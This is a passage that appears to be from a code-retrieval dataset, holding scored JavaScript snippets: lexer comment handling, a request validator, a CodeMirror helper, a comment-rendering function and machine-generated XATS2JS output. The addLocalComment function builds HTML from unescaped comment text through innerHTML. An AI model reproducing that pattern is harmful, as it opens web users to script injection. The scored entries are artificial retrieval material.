to\r\n\t\t\t\t\t// avoid the creation of unwanted `TERMINATOR` tokens.\r\n\t\t\t\t\tchunk = chunk.replace(/^\\n+/, '');\r\n\t\t\t\t\tthis.lineToken(chunk);\r\n\t\t\t\t\t// Pull out the ###-style comment’s content, and format it.\r\n\t\t\t\t\tcontent = here;\r\n\t\t\t\t\tif (indexOf.call(content, '\\n') >= 0) {\r\n\t\t\t\t\t\tcontent = content.replace(RegExp(`\\\\n${repeat(' ', this.indent)}`, \"g\"), '\\n');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcontents = [content];\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// The `COMMENT` regex captures successive line comments as one token.\r\n\t\t\t\t\t// Remove any leading newlines before the first comment, but preserve\r\n\t\t\t\t\t// blank lines between line comments.\r\n\t\t\t\t\tcontent = comment.replace(/^(\\n*)/, '');\r\n\t\t\t\t\tcontent = content.replace(/^([ |\\t]*)#/gm, '');\r\n\t\t\t\t\tcontents = content.split('\\n');\r\n\t\t\t\t}\r\n\t\t\t\tcommentAttachments = (function() {\r\n\t\t\t\t\tvar j, len, results;\r\n\t\t\t\t\tresults = [];\r\n\t\t\t\t\tfor (i = j = 0, len = contents.length; j < len; i = ++j) {\r\n\t\t\t\t\t\tcontent = contents[i];\r\n\t\t\t\t\t\tresults.push({\r\n\t\t\t\t\t\t\tcontent: content,\r\n\t\t\t\t\t\t\there: here != null,\r\n\t\t\t\t\t\t\tnewLine: newLine || i !== 0 // Line comments after the first one start new lines, by definition.\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn results;\r\n\t\t\t\t})();\r\n\t\t\t\tprev = this.prev();\r\n\t\t\t\tif (!prev) {\r\n\t\t\t\t\t// If there’s no previous token, create a placeholder token to attach\r\n\t\t\t\t\t// this comment to; and follow with a newline.\r\n\t\t\t\t\tcommentAttachments[0].newLine = true;\r\n\t\t\t\t\tthis.lineToken(this.chunk.slice(comment.length));\r\n\t\t\t\t\tplaceholderToken = this.makeToken('JS', '');\r\n\t\t\t\t\tplaceholderToken.generated = true;\r\n\t\t\t\t\tplaceholderToken.comments = commentAttachments;\r\n\t\t\t\t\tthis.tokens.push(placeholderToken);\r\n\t\t\t\t\tthis.newlineToken(0);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tattachCommentsToNode(commentAttachments, prev);\r\n\t\t\t\t}\r\n\t\t\t\treturn comment.length;\r\n\t\t\t}", "title": "" }, { "docid": "ab17f8d27f5bfa6efc4cde02450a8c9b", "score": "0.44208598", "text": "function CommentRecord(record){\r\n this.build = function(record){\r\n \r\n }\r\n \r\n this.toASTM = function (){\r\n return [ \r\n 'C', \r\n '1', \r\n 'L', \r\n [' ',' ',' ',' ',' '], \r\n 'G' ];\r\n }\r\n}", "title": "" }, { "docid": "30fb48a1a59adff95302e1c88b52aeae", "score": "0.44193366", "text": "tokenizeBsDisableComment(token) {\n if (token.kind !== lexer_1.TokenKind.Comment) {\n return null;\n }\n let lowerText = token.text.toLowerCase();\n let offset = 0;\n let commentTokenText;\n if (token.text.startsWith(`'`)) {\n commentTokenText = `'`;\n offset = 1;\n lowerText = lowerText.substring(1);\n }\n else if (lowerText.startsWith('rem')) {\n commentTokenText = lowerText.substring(0, 3);\n offset = 3;\n lowerText = lowerText.substring(3);\n }\n let disableType;\n //trim leading/trailing whitespace\n let len = lowerText.length;\n lowerText = lowerText.trimLeft();\n offset += len - lowerText.length;\n if (lowerText.startsWith('bs:disable-line')) {\n lowerText = lowerText.substring('bs:disable-line'.length);\n offset += 'bs:disable-line'.length;\n disableType = 'line';\n }\n else if (lowerText.startsWith('bs:disable-next-line')) {\n lowerText = lowerText.substring('bs:disable-next-line'.length);\n offset += 'bs:disable-next-line'.length;\n disableType = 'next-line';\n }\n else {\n return null;\n }\n //do something with the colon\n if (lowerText.startsWith(':')) {\n lowerText = lowerText.substring(1);\n offset += 1;\n }\n let items = this.tokenizeByWhitespace(lowerText);\n let codes = [];\n for (let item of items) {\n codes.push({\n code: item.text,\n range: exports.util.createRange(token.range.start.line, token.range.start.character + offset + item.startIndex, token.range.start.line, token.range.start.character + offset + item.startIndex + item.text.length)\n });\n }\n return {\n commentTokenText: commentTokenText,\n disableType: disableType,\n codes: codes\n };\n }", "title": "" }, { "docid": "8a05676be5b16f93003d291d71b60864", "score": "0.44167897", "text": "function invalidDoc(doc) {\n if (doc.query) {\n if (typeof doc.query.type != \"string\") return \".query.type must be a string\";\n if (doc.query.start && !isPosition(doc.query.start)) return \".query.start must be a position\";\n if (doc.query.end && !isPosition(doc.query.end)) return \".query.end must be a position\";\n }\n if (doc.files) {\n if (!Array.isArray(doc.files)) return \"Files property must be an array\";\n for (var i = 0; i < doc.files.length; ++i) {\n var file = doc.files[i];\n if (typeof file != \"object\") return \".files[n] must be objects\";\n else if (typeof file.name != \"string\") return \".files[n].name must be a string\";\n else if (file.type == \"delete\") continue;\n else if (typeof file.text != \"string\") return \".files[n].text must be a string\";\n else if (file.type == \"part\") {\n if (!isPosition(file.offset) && typeof file.offsetLines != \"number\")\n return \".files[n].offset must be a position\";\n } else if (file.type != \"full\") return \".files[n].type must be \\\"full\\\" or \\\"part\\\"\";\n }\n }\n }", "title": "" }, { "docid": "52918d3bc3bb3867232a534e52a59e49", "score": "0.44121787", "text": "function getBufferMaxCount() {\n\t return 4;\n\t}", "title": "" }, { "docid": "0bfac96b96c95c377ca770cd4463d69e", "score": "0.4412159", "text": "function getLine(chunk, n) { // 4614\n n -= chunk.first; // 4615\n while (!chunk.lines) { // 4616\n for (var i = 0;; ++i) { // 4617\n var child = chunk.children[i], sz = child.chunkSize(); // 4618\n if (n < sz) { chunk = child; break; } // 4619\n n -= sz; // 4620\n } // 4621\n } // 4622\n return chunk.lines[n]; // 4623\n } // 4624", "title": "" }, { "docid": "059d9db5e7742c7d4ee966f27af49b57", "score": "0.44116187", "text": "function bindCommentTextArea() {\n\tautoSizeTextArea();\n}", "title": "" }, { "docid": "4fb2ca937a60996a19a67f762b7c2060", "score": "0.44098318", "text": "validateBuffer() {\r\n }", "title": "" }, { "docid": "fc33d22a1e4a31a18259418dd82f82f9", "score": "0.44077763", "text": "function addLocalComment(content, dateCreated, commentId = null, like = 0, dislike = 0) {\r\n if (commentId === null) {//comment create local\r\n updateLocalCommentCount();\r\n commentId = confessionId + \"_\" + Math.random();\r\n }//else comment load from server\r\n content = content.replace(/(?:\\r\\n|\\r|\\n)/g, \"<br>\");\r\n let wrapper = document.createElement(\"div\");\r\n wrapper.setAttribute(\"class\", \"UFIComment LocalComment\");\r\n wrapper.setAttribute(\"comment_id\", commentId);\r\n wrapper.innerHTML = \" <div class=\\\"lfloat\\\"> <a class=\\\"UFICommentAuthorWithPresence img _8o _8s UFIImageBlockImage\\\"> <img class=\\\"avatar\\\" style=\\\"width:32px;height:32px;\\\" src=\\\"data:image/png;base64,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\\\"> <div class=\\\"UFICommentAuthorPresence\\\"></div></a> </div><div class=\\\"UFIImageBlockContent _42ef\\\"> <div class=\\\"\\\"> <div class=\\\"UFICommentContentBlock\\\"> <div class=\\\"UFICommentContent\\\"> <div class=\\\"_26f8\\\"> <span class=\\\" UFICommentActorAndBody\\\"> <div class=\\\"UFICommentActorAndBodySpacing\\\"> <span><a class=\\\" UFICommentActorName\\\">\" + dateCreated + \"</a></span> <span>:</span> \" + content + \" </div></span> <div class=\\\"_10lo\\\"></div></div><span></span> <div></div></div><div class=\\\"fsm fwn fcg UFICommentActions\\\"> <a class=\\\"like-button\\\" onclick=\\\"doCommentReaction(this, 'like');\\\">Like</a> <span class=\\\"reaction-total like-reaction-total\\\">\" + like + \"</span> <span> · </span> <a class=\\\"dislike-button\\\" onclick=\\\"doCommentReaction(this, 'dislike');\\\">Dislike</a> <span class=\\\"reaction-total dislike-reaction-total\\\">\" + dislike + \"</span> <span> · </span> <span> <a class=\\\"uiLinkSubtle\\\">28m</a> </span> </div></div></div></div>\";\r\n\r\n let thisElementSelector = \".all-comment > .UFIComment[comment_id='\" + commentId + \"']\";\r\n //load bỏ những phần tử cũ đi, những phần tử vừa được thêm vào có trùng comment_id với phần tử mới thêm vào\r\n let oldComments = document.querySelectorAll(thisElementSelector);\r\n if (oldComments !== null && oldComments.length > 0) {\r\n oldComments.forEach(function (oldComment) {\r\n oldComment.remove();\r\n });\r\n }\r\n\r\n //thêm comment mới vào\r\n document.querySelector(\".all-comment\").appendChild(wrapper);\r\n let newCommentElement = document.querySelector(thisElementSelector);\r\n // console.log(newCommentElement);\r\n return newCommentElement;\r\n}", "title": "" }, { "docid": "bea652ef782106cd4501a27a10750380", "score": "0.44038576", "text": "function\ngtree_bfs_streamize_list_2537_(a3x1)\n{\nlet xtmp288;\nlet xtmp292;\nlet xtmp293;\n;\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 2924(line=160, offs=1) -- 2949(line=161, offs=18)\n// L1DCLnone1(H0Cnone1(...));\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 2950(line=162, offs=1) -- 3566(line=214, offs=13)\nfunction\nauxmain_2953_(a4x1, a4x2)\n{\nlet xtmp159;\nlet xtmp286;\nlet xtmp287;\n;\n;\nxtmp286 =\nfunction()\n{\nlet xtmp160;\nlet xtmp161;\nlet xtmp162;\nlet xtmp163;\nlet xtmp176;\nlet xtmp177;\nlet xtmp178;\nlet xtmp179;\nlet xtmp180;\nlet xtmp181;\nlet xtmp182;\nlet xtmp183;\nlet xtmp184;\nlet xtmp241;\nlet xtmp242;\nlet xtmp243;\nlet xtmp244;\nlet xtmp265;\n{\nxtmp161 = 0;\ndo {\ndo {\nif(0!==a4x1[0]) break;\nxtmp161 = 1;\n} while(false);\nif(xtmp161 > 0 ) break;\ndo {\nif(1!==a4x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp161 = 2;\n} while(false);\nif(xtmp161 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp161) {\ncase 1:\n{\nxtmp162 = 0;\ndo {\ndo {\nif(0!==a4x2[0]) break;\nxtmp162 = 1;\n} while(false);\nif(xtmp162 > 0 ) break;\ndo {\n//L1PCKany();\nxtmp162 = 2;\n} while(false);\nif(xtmp162 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp162) {\ncase 1:\n{\nxtmp160 = [0];\n}\n;\nbreak;\ncase 2:\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 3168(line=184, offs=1) -- 3198(line=185, offs=21)\n{\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 3688(line=300, offs=1) -- 3766(line=303, offs=38)\nfunction\nlist_vt_reverse_2756_(a6x1)\n{\nlet xtmp165;\nlet xtmp175;\n;\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 3789(line=307, offs=1) -- 4160(line=338, offs=10)\nfunction\nlist_vt_rappend_2826_(a7x1, a7x2)\n{\nlet xtmp174;\n;\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 3869(line=316, offs=1) -- 4135(line=336, offs=5)\nfunction\nloop_3872_(a8x1, a8x2)\n{\nlet xtmp170;\nlet xtmp171;\nlet xtmp172;\nlet xtmp173;\n;\n;\n{\nxtmp171 = 0;\ndo {\ndo {\nif(0!==a8x1[0]) break;\nxtmp171 = 1;\n} while(false);\nif(xtmp171 > 0 ) break;\ndo {\nif(1!==a8x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp171 = 2;\n} while(false);\nif(xtmp171 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp171) {\ncase 1:\nxtmp170 = a8x2;\nbreak;\ncase 2:\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 4032(line=331, offs=3) -- 4047(line=331, offs=18)\n{\nxtmp172 = a8x1[2];\n;\n} // val(H0Pvar(xs1(117)))\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 4050(line=332, offs=3) -- 4072(line=332, offs=25)\n{\nXATS2JS_lval_set(XATS2JS_new_cofs(a8x1,2), a8x2);\n//L1PCKxpat(H0Pnil(); L1VALnone0());\n//L1CMDmatch(H0Pnil(); L1VALnone0());\n} // val(H0Pnil())\n;\n{\nxtmp173 = loop_3872_(xtmp172, a8x1);\n}\n;\nxtmp170 = xtmp173;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp170;\n} // function // loop(77)\n;\n{\nxtmp174 = loop_3872_(a7x1, a7x2);\n}\n;\nreturn xtmp174;\n} // function // list_vt_rappend(76)\n;\n{\nxtmp175 = [0];\n}\n;\nxtmp165 = list_vt_rappend_2826_(a6x1, xtmp175);\n}\n;\nreturn xtmp165;\n} // function // list_vt_reverse(75)\n;\nxtmp163 = list_vt_reverse_2756_(a4x2);\n}\n;\n;\n} // val(H0Pvar(xss(110)))\n;\n{\n{\nxtmp177 = [0];\n}\n;\nxtmp176 = auxmain_2953_(xtmp163, xtmp177);\n}\n;\nxtmp160 = XATS2JS_llazy_eval(xtmp176);\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nbreak;\ncase 2:\nxtmp178 = a4x1[1];\nxtmp179 = a4x1[2];\n{\nxtmp180 = 0;\ndo {\ndo {\nif(0!==xtmp178[0]) break;\nxtmp180 = 1;\n} while(false);\nif(xtmp180 > 0 ) break;\ndo {\nif(1!==xtmp178[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp180 = 2;\n} while(false);\nif(xtmp180 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp180) {\ncase 1:\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 3314(line=198, offs=1) -- 3329(line=198, offs=16)\n{\n;\n} // val(H0Pvar(xss1(120)))\n;\n{\nxtmp181 = auxmain_2953_(xtmp179, a4x2);\n}\n;\nxtmp160 = XATS2JS_llazy_eval(xtmp181);\nbreak;\ncase 2:\nxtmp182 = xtmp178[1];\nxtmp183 = xtmp178[2];\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 3404(line=205, offs=1) -- 3427(line=205, offs=24)\n{\nXATS2JS_lval_set(XATS2JS_new_cofs(a4x1,1), xtmp183);\n//L1PCKxpat(H0Pnil(); L1VALnone0());\n//L1CMDmatch(H0Pnil(); L1VALnone0());\n} // val(H0Pnil())\n;\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 3428(line=206, offs=1) -- 3465(line=207, offs=28)\n{\n{\n// ./doublet.dats: 2243(line=182, offs=1) -- 2642(line=218, offs=8)\nfunction\ngtree_node_childlst_1293_(a6x1)\n{\nlet xtmp186;\nlet xtmp187;\nlet xtmp188;\nlet xtmp189;\nlet xtmp190;\nlet xtmp191;\nlet xtmp208;\nlet xtmp222;\n;\n// ./doublet.dats: 2291(line=187, offs=1) -- 2321(line=189, offs=16)\n{\nif(1!==a6x1[0]) XATS2JS_patckerr0();\n;\nxtmp186 = a6x1[1];\nxtmp187 = a6x1[2];\n} // val(H0Pdapp(H0Pcon(list_cons(4)); -1; H0Pvar(wx(89)), H0Pvar(_nx_(90))))\n;\n{\nxtmp189 = word_markedq_2109_(xtmp186);\n}\n;\nif\n(xtmp189)\n// then\n{\n{\nxtmp188 = [0];\n}\n;\n} // if-then\nelse\n{\n// ./doublet.dats: 2414(line=201, offs=1) -- 2435(line=201, offs=22)\n{\n{\nxtmp190 = helper_1_771_(xtmp186);\n}\n;\n;\n} // val(H0Pvar(ws(91)))\n;\n// ./doublet.dats: 2439(line=203, offs=1) -- 2520(line=208, offs=22)\n{\n// ./doublet.dats: 2478(line=206, offs=1) -- 2518(line=207, offs=33)\n// L1DCLnone0();\n{\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 9886(line=809, offs=1) -- 10327(line=849, offs=8)\nfunction\nstream_vt_filter0_4286_(a7x1)\n{\nlet xtmp207;\n;\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 9959(line=817, offs=1) -- 10325(line=848, offs=8)\nfunction\nauxmain_9962_(a8x1)\n{\nlet a8y1;\nlet xtmp194;\nlet xtmp198;\nlet xtmp199;\ndo {\n;\nxtmp198 =\nfunction()\n{\nlet xtmp195;\nlet xtmp196;\n{\nxtmp195 = auxloop_10056_(XATS2JS_llazy_eval(a8x1));\n}\n;\nreturn xtmp195;\n} // lam-function\n;\nxtmp199 =\nfunction()\n{\nlet xtmp195;\nlet xtmp196;\n{\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 1837(line=143, offs=1) -- 1892(line=145, offs=41)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 1784(line=139, offs=1) -- 1833(line=141, offs=31)\nfunction\nstream_vt_free_2236_(a11x1)\n{\n;\nreturn XATS2JS_llazy_free(a11x1);\n} // function // stream_vt_free(45)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = stream_vt_free_2236_\n;\nxtmp196 = g_free_1550_(a8x1);\n}\n;\n} // lam-function\n;\nxtmp194 = XATS2JS_new_llazy(xtmp198,xtmp199);\nbreak;//return\n} while( true );\nreturn xtmp194;\n} // function // auxmain(78)\nfunction\nauxloop_10056_(a8x1)\n{\nlet a8y1;\nlet xtmp201;\nlet xtmp202;\nlet xtmp203;\nlet xtmp204;\nlet xtmp205;\nlet xtmp206;\ndo {\n;\n{\nxtmp202 = 0;\ndo {\ndo {\nif(0!==a8x1[0]) break;\nxtmp202 = 1;\n} while(false);\nif(xtmp202 > 0 ) break;\ndo {\nif(1!==a8x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp202 = 2;\n} while(false);\nif(xtmp202 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp202) {\ncase 1:\n{\nxtmp201 = [0];\n}\n;\nbreak;\ncase 2:\nxtmp203 = a8x1[1];\nxtmp204 = a8x1[2];\n{\n// ./doublet.dats: 2478(line=206, offs=1) -- 2518(line=207, offs=33)\n// { // val-binding\n// } // val-binding\nconst // implval/fun\nfilter0$test_2547_ = word_legalq_1869_\n;\nxtmp205 = filter0$test_2547_(xtmp203);\n}\n;\nif\n(xtmp205)\n// then\n{\n{\n{\nxtmp206 = auxmain_9962_(xtmp204);\n}\n;\nxtmp201 = [1, xtmp203, xtmp206];\n}\n;\n} // if-then\nelse\n{\n{\n// tail-recursion:\n// L1CMDapp(tmp(201); L1VALfcst(auxloop(79)); L1VALeval3(L1VALtmp(tmp(204))))\na8y1 = XATS2JS_llazy_eval(xtmp204); a8x1 = a8y1; continue;\n}\n;\n} // if-else\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nbreak;//return\n} while( true );\nreturn xtmp201;\n} // function // auxloop(79)\n;\n{\nxtmp207 = auxmain_9962_(a7x1);\n}\n;\nreturn xtmp207;\n} // function // stream_vt_filter0(62)\n;\nxtmp191 = stream_vt_filter0_4286_(xtmp190);\n}\n;\n;\n} // val(H0Pvar(ws(92)))\n;\n// ./doublet.dats: 2524(line=210, offs=1) -- 2578(line=212, offs=37)\n// L1DCLnone0();\n{\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 5034(line=402, offs=1) -- 5419(line=433, offs=8)\nfunction\nstream_vt_listize_3070_(a7x1)\n{\nlet xtmp220;\nlet xtmp221;\n;\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 5084(line=407, offs=1) -- 5331(line=427, offs=5)\nfunction\nloop_5087_(a8x1, a8x2)\n{\nlet xtmp212;\nlet xtmp213;\nlet xtmp214;\nlet xtmp215;\nlet xtmp216;\nlet xtmp217;\nlet xtmp218;\nlet xtmp219;\n;\n;\nxtmp213 = XATS2JS_llazy_eval(a8x1);\n{\nxtmp214 = 0;\ndo {\ndo {\nif(0!==xtmp213[0]) break;\nxtmp214 = 1;\n} while(false);\nif(xtmp214 > 0 ) break;\ndo {\nif(1!==xtmp213[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp214 = 2;\n} while(false);\nif(xtmp214 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp214) {\ncase 1:\n{\nxtmp215 = [0];\n}\n;\nXATS2JS_lval_set(a8x2, xtmp215);\nxtmp212 = null;\nbreak;\ncase 2:\nxtmp216 = xtmp213[1];\nxtmp217 = xtmp213[2];\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 5254(line=422, offs=3) -- 5292(line=423, offs=30)\n{\n{\nxtmp218 = [1, xtmp216, XATS2JS_top];\n}\n;\nXATS2JS_lval_set(a8x2, xtmp218);\n//L1PCKxpat(H0Pnil(); L1VALnone0());\n//L1CMDmatch(H0Pnil(); L1VALnone0());\n} // val(H0Pnil())\n;\n{\nxtmp219 = loop_5087_(xtmp217, XATS2JS_new_cofs(XATS2JS_lval_get(a8x2),2));\n}\n;\nxtmp212 = null;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp212;\n} // function // loop(80)\n;\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 5362(line=431, offs=1) -- 5380(line=431, offs=19)\n{\nxtmp220 = XATS2JS_new_var0();\n} // val(r0(137))\n;\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 5381(line=432, offs=1) -- 5402(line=432, offs=22)\n{\n{\nxtmp221 = loop_5087_(a7x1, xtmp220);\n}\n;\n//L1PCKxpat(H0Pnil(); L1VALtmp(tmp(221)));\n//L1CMDmatch(H0Pnil(); L1VALtmp(tmp(221)));\n} // val(H0Pnil())\n;\nreturn XATS2JS_lval_get(xtmp220);\n} // function // stream_vt_listize(64)\n;\n{\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 9181(line=740, offs=1) -- 9505(line=772, offs=8)\nfunction\nstream_vt_map0_4084_(a7x1)\n{\nlet xtmp240;\n;\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 9248(line=748, offs=1) -- 9503(line=771, offs=12)\nfunction\nauxmain_9251_(a8x1)\n{\nlet xtmp225;\nlet xtmp238;\nlet xtmp239;\n;\nxtmp238 =\nfunction()\n{\nlet xtmp226;\nlet xtmp227;\nlet xtmp228;\nlet xtmp229;\nlet xtmp230;\nlet xtmp231;\nlet xtmp234;\nlet xtmp235;\nlet xtmp236;\nxtmp227 = XATS2JS_llazy_eval(a8x1);\n{\nxtmp228 = 0;\ndo {\ndo {\nif(0!==xtmp227[0]) break;\nxtmp228 = 1;\n} while(false);\nif(xtmp228 > 0 ) break;\ndo {\nif(1!==xtmp227[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp228 = 2;\n} while(false);\nif(xtmp228 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp228) {\ncase 1:\n{\nxtmp226 = [0];\n}\n;\nbreak;\ncase 2:\nxtmp229 = xtmp227[1];\nxtmp230 = xtmp227[2];\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 9427(line=766, offs=3) -- 9459(line=767, offs=24)\n{\n{\n// ./doublet.dats: 2524(line=210, offs=1) -- 2578(line=212, offs=37)\nfunction\nmap0$fopr_2343_(a10x1)\n{\nlet xtmp233;\n;\n{\nxtmp233 = [1, a10x1, a6x1];\n}\n;\nreturn xtmp233;\n} // function // map0$fopr(63)\n;\nxtmp231 = map0$fopr_2343_(xtmp229);\n}\n;\n;\n} // val(H0Pvar(y0(143)))\n;\n{\n{\nxtmp235 = auxmain_9251_(xtmp230);\n}\n;\nxtmp234 = [1, xtmp231, xtmp235];\n}\n;\nxtmp226 = xtmp234;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp226;\n} // lam-function\n;\nxtmp239 =\nfunction()\n{\nlet xtmp226;\nlet xtmp227;\nlet xtmp228;\nlet xtmp229;\nlet xtmp230;\nlet xtmp231;\nlet xtmp234;\nlet xtmp235;\nlet xtmp236;\n{\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 1837(line=143, offs=1) -- 1892(line=145, offs=41)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/stream_vt.dats: 1784(line=139, offs=1) -- 1833(line=141, offs=31)\nfunction\nstream_vt_free_2236_(a11x1)\n{\n;\nreturn XATS2JS_llazy_free(a11x1);\n} // function // stream_vt_free(45)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = stream_vt_free_2236_\n;\nxtmp236 = g_free_1550_(a8x1);\n}\n;\n} // lam-function\n;\nxtmp225 = XATS2JS_new_llazy(xtmp238,xtmp239);\nreturn xtmp225;\n} // function // auxmain(81)\n;\n{\nxtmp240 = auxmain_9251_(a7x1);\n}\n;\nreturn xtmp240;\n} // function // stream_vt_map0(65)\n;\nxtmp222 = stream_vt_map0_4084_(xtmp191);\n}\n;\nxtmp208 = stream_vt_listize_3070_(xtmp222);\n}\n;\nxtmp188 = xtmp208;\n} // if-else\n;\nreturn xtmp188;\n} // function // 